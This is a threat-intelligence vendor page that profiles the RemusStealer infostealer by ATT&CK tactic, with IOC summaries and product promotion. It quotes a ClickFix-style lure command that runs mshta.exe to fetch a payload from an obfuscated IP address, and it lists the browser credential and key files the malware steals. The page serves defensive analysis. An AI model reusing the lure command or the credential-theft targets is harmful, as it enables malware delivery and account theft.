RemusStealer
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Techniques & procedures
20 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniquesThe JavaScript loaded by these pages listens for the user’s first interaction and intercepts it before normal navigation can proceed. On Chrome it captures a mousedown event; on Firefox it uses a click event. It then generates a TDS runtime URL, redirects the user silently, and cancels the original navigation entirely.
Hackers are creating convincing fake websites that impersonate popular security tools to trick users into downloading malware.
Execution
2 techniquesThe page that imitates a Cloudflare verification screen and instructs the user to run: C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z
The attack chain uses CloudFront-hosted JavaScript for browser fingerprinting, click tracking, and traffic routing, enabling stealthy, interaction-based redirection... The payload employs a heavily obfuscated Go loader...
Persistence
1 techniqueThese pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
Stealth
4 techniquesSessionGate — A previously unknown multi-stage loader with heavy obfuscation and extensive anti-analysis mechanisms... Because of the obfuscation techniques in use, including injected junk code, opaque predicates, and string encryption, the resulting functions become extremely bloated.
Check Point Research investigated a large-scale operation that impersonates open-source and freeware projects to capture search traffic, including lookalikes for researcher and security tooling such as Ghidra, dnSpy, and SpiderFoot.
These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.
Credential Access
4 techniquesBrowser data theft: Chromium family : History, Login Data, Login Data For Account, Network\Cookies, Web Data Firefox/NSS profiles : key4.db, cert9.db, cookies.sqlite, logins.json...
Browser data theft: Chromium family : ... Login Data ... Firefox/NSS profiles : ... logins.json ... Chromium key material : extracts the master key from Local State via DPAPI (CryptUnprotectData)
Browser data theft: Chromium family : History, Login Data, Login Data For Account, Network\Cookies, Web Data ... Firefox/NSS profiles : ... logins.json
RemusStealer is a newly emerged infostealer targeting data from more than 20 browsers, including cryptocurrency wallets, password managers, and two-factor authentication tools.
Discovery
2 techniquesRegistry reconnaissance : server-controlled queries of arbitrary path/value pairs, with HKCU-relative support and WOW64 view retry logic.
data contains: path, mask, depth, size, link ... Expands %ENV% paths, traverses directories with filters/limits, collects matching file contents, packages results, and uploads them to C2.
Collection
3 techniquesThe agent executes tasks in a loop ... File-system search + exfiltration ... Browser data theft ... Registry reconnaissance ... Clipboard theft ... Screenshot capture
Screenshot capture : supported and exfiltrated as Screenshot.bmp when enabled by an internal flag
Clipboard theft : captures CF_UNICODETEXT, exfiltrated as Clipboard.txt ... At a high level, the final payload is a clipboard-hijacking crypto clipper: it continuously monitors the clipboard for cryptocurrency wallet strings ... replaces the copied address with one of multiple attacker-controlled wallet addresses.
Command and Control
4 techniques...retrieves its command-and-control infrastructure through an Ethereum-based dead drop resolver...
The stealer polls the C2 using HTTP POST requests ... The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins
...retrieves its command-and-control infrastructure through an Ethereum-based dead drop resolver, demonstrating advanced evasion and resilient C2 techniques...
These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
IOCs tracked for this family
39 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A newly emerged infostealer that steals data from more than 20 browsers as well as cryptocurrency wallets, password managers, and two-factor authentication tools.
A newly emerged malware-as-a-service infostealer that performs C2-driven collection of browser data, cookies, credentials, extension data, clipboard contents, screenshots, registry data, and files. It heavily targets cryptocurrency wallets, password managers, and 2FA/TOTP-related browser extensions across multiple browser ecosystems.
Credential-stealing malware delivered via fake MEGA Transfer pages after interaction-based redirection from legitimate websites. The campaign uses CloudFront-hosted JavaScript for browser fingerprinting, click tracking, and traffic routing, and the payload uses a heavily obfuscated Go loader with an Ethereum-based dead drop resolver to obtain command-and-control infrastructure for resilient credential theft and malware delivery.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.